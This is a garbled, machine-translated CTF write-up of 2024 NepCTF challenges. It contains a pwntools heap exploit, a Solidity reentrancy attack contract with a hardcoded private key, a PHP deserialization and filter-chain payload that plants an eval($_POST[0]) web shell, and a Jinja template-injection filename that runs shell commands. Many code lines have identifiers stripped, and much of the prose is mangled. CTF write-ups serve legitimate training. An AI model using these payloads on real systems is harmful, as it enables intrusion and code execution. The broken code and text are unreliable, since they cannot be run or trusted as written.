Location>code7788 >text

2024 NepCTF

Popularity:385 ℃/2024-08-31 16:53:05

NepCTF

NepMagic —— CheckIn

Play the game straight out

Note that there's a level where you have to find all the hidden squares.

NepCamera

First use tshark to read the data

b3657227838cd6157cd0e88421323058

A large number of jpeg headers ffd8ffe0 were found in the resultant file.

b392c013471ecfb49879fa5f1e85d27b_720

Guess it's multiple images, write a script and extract them.

Script.

import re

inputFilePath="C:\\Downloads\\NepCamera\\"

with open(inputFilePath, 'r') as file:
    hexData = ().replace("\n", "").replace("\r", "")
    hexData = (r'[^0-9a-fA-F]', '', hexData)

marker = "ffd8ffe0"
startPositions = []

# FFD8FFE0 header
pos = 0
while True:
    pos = (marker, pos)
    if pos == -1:
        break
    (pos)
    pos += len(marker)

for i in range(len(startPositions)):
    start = max(0, startPositions[i] - 24)

    if i + 1 < len(startPositions):
        end = startPositions[i + 1]
    else:
        end = len(hexData)

    jpgData = hexData[start:end]

    # binary data conversion
    jpgBytes = (jpgData)

    with open(f"{i + 1}.jpg", "wb") as imgFile:
        (jpgBytes)

Eventually find the flag inside the image.

Nemophila

The py solution comes out as

secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

It's also the password to unzip it.

The decompressed image is different from the one above or

Then do a highly cryptic write

image-20240826153112831

3DNep

Open it with the one that comes with the Microsoft Store

Then the Hanshin code.

image-20240826153621308

discerning eyes

binwalk detachment firmware

And then inside the file that starts with 19 there's

string of base

And then decode it. The back part is also in 010.

7d8d95bda6803e996c3cc691eb5cb162

NepCTF{Y0u_G0t_K33n_1nS1ght_1n_vXw0rKs!!!_L3t's_G0_Furth3r}

0ezAndroid

It can be called proactively by trying to hook

Also by decompiling the apk to get the encrypted

image-20240826220137286

image-20240826220146461

Then you can get the flags directly through debugging.

NepSSH

In the main function you can see that the flag is read into byte_40C0 and opens up a space of 0x1000 bytes in 0x123300. In the start_routine you can see that it will be compared to NepSSH at 0x123300, and if it passes, it will output the content of the flag, and our purpose is to modify the content of the 0x123300 address.

We can control the heap header by fflush twice, pointing the chain table pointer to 0x123300, and then modify the

from pwn import *

io = remote('',443, ssl=True, sni=True, typ="tcp")
(b'Username.\n')
(b'admin')
(b'Please enter password.\n')
(b'admin')
(b'You can now use ls.\n')
(b'fflush')
sleep(0.5)
(b'fflush')
payload = p64(1) + p64(0x1080) + p64(0x123300)
sleep(0.5)
(payload)
sleep(0.5)
(b'fflush')
sleep(0.5)
(b'NepSSH')
()

theif_god

(The condition for unlocking the Flag is still balance == 50 ether in the Bank, which is quite abstract, and there is one more step to save after the final reentry.)

Poc:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/";
import {Bank} from "../src/";

contract Hack {
    Bank target;

    constructor(address _target) {
        target = Bank(_target);
    }

    function pwn() external payable {
        {value: }();
        ();
    }

    function deposit() external {
        {value: 50 ether}();
    }

    function getFlag() external view returns (string memory) {
        return ();
    }

    receive() external payable {
        if (() != 0) {
            ();
        }
    }
}

contract Attack is Script {
    function run() external {
        uint256 balance = Bank(0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917).getBalance();
        ("balance: ", balance);

        ();
        Hack hack = new Hack(0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917);
        {value: 0.5 ether}();
        balance = address(hack).balance;
        ("Hack balance: ", balance);
        ();
        string memory flag = ();
        ();

        ("flag: ", flag);
    }
}
forge script script\ --rpc-url  --private-key 0x4b609fde92771ee750dac4d0aace6c9cf34e341229dbda382e49c492ad206e5e --tc Attack --evm-version cancun

Super Neuro : Escape from Flame!

Hard Game

Discovered that you can jump infinitely by touching a wall

Hold down A and press space frantically to spiral into the sky

image-20240826161044364

I forgot to take a screenshot at the time. Anyway, it flies.

PHP_MASTER!!

<?php
highlight_file(__FILE__);
error_reporting(0);

function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A
{
    public $key;
    public function readflag()
    {
        if ($this->key === "\0key\0") {
            $a = $_POST[1];
            $contents = file_get_contents($a);
            file_put_contents($a, $contents);
        }
    }
}


class B
{

    public $b;
    public function __tostring()
    {
        if (preg_match("/\[|\]/i", $_GET['nep'])) {
            die("NONONO!!!");
        }
        $str = substrstr($_GET['nep1'] . "[welcome to" . $_GET['nep'] . "CTF]");
        echo $str;
        if ($str === 'NepCTF]') {
            return ($this->b)();
        }
    }
}
class C
{

    public $s;

    public $str;

    public function __construct($s)
    {
        $this->s = $s;
    }

    public function __destruct()
    {


        echo $this->str;
    }
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0", "00", $ser);
unserialize($data);

This question relates to.Deserialization - Character Escape, mb_string Length Determination Error Problem, pseudo protocol

First things first.

mb_string Error in length determination.reference article

When a sequence of bytes beginning with \xF0 appears in the UTF-8 encoding, it usually represents a four-byte Unicode character. This is because the UTF-8 encoding specification defines a sequence of bytes beginning with \xF0 to encode larger Unicode characters.
There is a difference between mb_substr and mb_strpos execution if the 4-bit rule is not met:
(1) When mb_strpos encounters \xF0, it treats the byte prior to the invalid byte as a character, and then starts parsing again from the invalid byte
mb_strpos("\xf0\x9fAAA<BB", '<'); #returns 4 \xf0\x9f regarded as one byte, starting from A becomes invalid bytes #A is \x41 The above string its considered 7 bytes

(2) When mb_substr encounters \xF0, it treats the invalid byte as part of a four-byte Unicode character and then continues parsing
mb_substr("\xf0\x9fAAA<BB", 0, 4); #"\xf0\x9fAAA<B" \xf0\x9fAAA<B" \xf0\x9fAA is treated as one character The above string its considered to be 5 bytes

Conclusion: mb_strpos can move the index value backward relative to mb_substr

By controlling the length of the string that follows, we can control the length of the $key we want to execute.
By controlling the front we can control how many digits ahead the index value needs to be.
For every %f0abc sent, mb_strpos is considered to be 4 bytes and mb_substr is considered to be 1 byte, a difference of 3 bytes
For each %f0%9fab sent, mb_strpos is considered 3 bytes and mb_substr is considered 1 byte, a difference of 2 bytes.
For every %f0%9f%9fa sent, mb_strpos is considered to be 2 bytes and mb_substr is considered to be 1 byte, a difference of 1 byte.

This question requires us to skip[welcome to, which is 10 bytes long, so we construct%f0abc%f0abc%f0abc%f0%9f%9fa (3*3+1), whereuponnep1 because of%f0abc%f0abc%f0abc%f0%9f%9fa, nep isNep

The second one we can seeDeserialization length bypass, refer to Kengwang's article.[CTF/Web] PHP Deserialization Study Notes #Character Escape, we can construct the second half of the payload first.

There are several points in the second half of the paragraph, one of which is aboutcallable If an object's specified member methods need to becall, we need to use[$var, 'function_name'] to call, so our chain looks like this.

$a = new A();
$b = new B();
$c = new C();

$c->str = $b;
$b->b = [$a, 'readflag'];
$a->key = "\0key\0";

echo serialize($c);

The second is the issue of null bytes, which are replaced with00, causing us to$a (used form a nominal expression)key hit the nail on the head\0 In this case, we can use theEscape String (S) for processing, using theS:5:"\00key\00"; to bypass the

So the final second half is as follows.

";s:3:"str";O:1:"B":1:{s:1:"b";a:2:{i:0;O:1:"A":1:{s:3:"key";S:5:"\00key\00";}i:1;s:8:"readflag";}}}

His length is exactly 100, and according to the character escape, the length is increased by a factor of 2, so we add 100 null bytes in front of it.

finalc because of

%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%22%3b%73%3a%33%3a%22%73%74%72%22%3b%4f%3a%31%3a%22%42%22%3a%31%3a%7b%73%3a%31%3a%22%62%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%31%3a%22%41%22%3a%31%3a%7b%73%3a%33%3a%22%6b%65%79%22%3b%53%3a%35%3a%22%5c%30%30%6b%65%79%5c%30%30%22%3b%7d%69%3a%31%3b%73%3a%38%3a%22%72%65%61%64%66%6c%61%67%22%3b%7d%7d%7d

The third koan isPHP Pseudo ProtocolIt's been played with, it's been studied, it's been written, it's been written, it's been written.wrapwrap It's not easy to comment on this kind of lousy test.

We can see that this place first read the contents of the file, and then write this content to the file inside, a glancewrapwrap

wrapwrap Files with known file contents can be chained through filters with specified prefixes and suffixes

We utilize our expertise in This file of known content comes prefixed with<?php eval($_POST[0]); ?> This sentence, but the end of the file is very easy to write dirty, this side of the use of a trick, I first of all original base64-encode it, swallow his php tags, and then prefix it, using wrapwrap.

python .\ path_to_base64_encoded_index_php "<?php eval(`$_POST[0]); ?>" "" 1000

GET.

convert.base64-encode|.855.UTF7|.-32|.UCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|.IBM869.UTF16|.L3.CSISO90|.-8|.-4|convert.base64-decode|convert.base64-encode|.855.UTF7|.8859_3.UTF16|.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|..618BIT|convert.base64-decode|convert.base64-encode|.855.UTF7|.CSA_T500.UTF-32|.-2022-JP-3|.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|.855.UTF7|.|.ISO8859-14.ISO6937|-4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF8.UTF16LE|.UTF8.CSISO2022KR|.UCS2.UTF8|.8859_3.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|.ISO88594.GB13000|.CP950.SHIFT_JISX0213||convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|.UCS4|.UTF16BE.866|.WCHAR_T|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|-2.OSF00030010|.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|-WIN|.L10.UCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.L4.GB13000|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.|.855.CP936|-8|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|-2.OSF00030010|.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|-1161.IBM932|.GB13000.UTF16BE|.-32LE|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.|.855.CP936|-8|convert.base64-decode|convert.base64-encode|.855.UTF7|.8859_3.UTF16|.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.CP1046.UTF16|.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.CP1046.UTF32|.-2|.61-8BIT|.-4LE|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.L8.UTF16BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.||convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.CSIBM1133.IBM943|.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|convert.base64-decode

Manually add: at the very beginning

conver.base64-encode

Final Payload.

POST /?c={{repeat:str({{url({{nullbyte()}})}}|100)}}%22%3b%73%3a%33%3a%22%73%74%72%22%3b%4f%3a%31%3a%22%42%22%3a%31%3a%7b%73%3a%31%3a%22%62%22%3b%61%3a%32%3a%7b%69%3a%30%3b%4f%3a%31%3a%22%41%22%3a%31%3a%7b%73%3a%33%3a%22%6b%65%79%22%3b%53%3a%35%3a%22%5c%30%30%6b%65%79%5c%30%30%22%3b%7d%69%3a%31%3b%73%3a%38%3a%22%72%65%61%64%66%6c%61%67%22%3b%7d%7d%7d&nep1=%f0abc%f0abc%f0abc%f0%9f%9fa&nep=Nep HTTP/1.1
Host: 
LHost: localhost:32768
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

1=php://filter/write=convert.base64-encode|convert.base64-encode|.855.UTF7|.-32|.UCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|.IBM869.UTF16|.L3.CSISO90|.-8|.-4|convert.base64-decode|convert.base64-encode|.855.UTF7|.8859_3.UTF16|.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|..618BIT|convert.base64-decode|convert.base64-encode|.855.UTF7|.CSA_T500.UTF-32|.-2022-JP-3|.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|.855.UTF7|.|.ISO8859-14.ISO6937|-4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF8.UTF16LE|.UTF8.CSISO2022KR|.UCS2.UTF8|.8859_3.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|.ISO88594.GB13000|.CP950.SHIFT_JISX0213||convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|.UCS4|.UTF16BE.866|.WCHAR_T|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|-2.OSF00030010|.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|-WIN|.L10.UCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.L4.GB13000|convert.base64-decode|convert.base64-encode|.855.UTF7|.ISO88597.UTF16|.-4LE|.UTF32.CP1167|.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.|.855.CP936|-8|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|.855.UTF7||.L4.UCS2|-2.OSF00030010|.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.-32|-1161.IBM932|.GB13000.UTF16BE|.-32LE|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF32|.-932|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.|.855.CP936|-8|convert.base64-decode|convert.base64-encode|.855.UTF7|.8859_3.UTF16|.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.CP1046.UTF16|.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.CP1046.UTF32|.-2|.61-8BIT|.-4LE|convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.L8.UTF16BE|convert.base64-decode|convert.base64-encode|.855.UTF7|.||convert.base64-decode|convert.base64-encode|.855.UTF7|.UTF16|.CSIBM1133.IBM943|.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|.855.UTF7|.-16|.-932|.MS932.MS936|.|convert.base64-decode|convert.base64-encode|.855.UTF7|convert.base64-decode/resource=/var/www/html/

NepDouble

Rename the filename to{{lipsum.__globals__['os'].popen('cd .. && cat flag').read()}}

Embed the form, change the parameter to tp_file, upload the zip file

var form = ('form');
 = 'POST';
 = '';
 = 'multipart/form-data';

var heading = ('h1');
 = 'File Upload';

var fileInput = ('input');
 = 'file';
 = 'file';

var submitInput = ('input');
 = 'submit';
 = 'Submit';

var p1 = ('p');
(fileInput);

var p2 = ('p');
(submitInput);

(heading);
(p1);
(p2);

(form);

The flag is rendered into the filename section

bouncing bomb

First jwt forged to admin, go to admin page:

Directory traversal for subsequent file uploads uploads the file to the current directory:

Direct shell popping

Modify the file, change it to forward shell, connect to port 8888 to start the service, get root privileges, and read the file directly.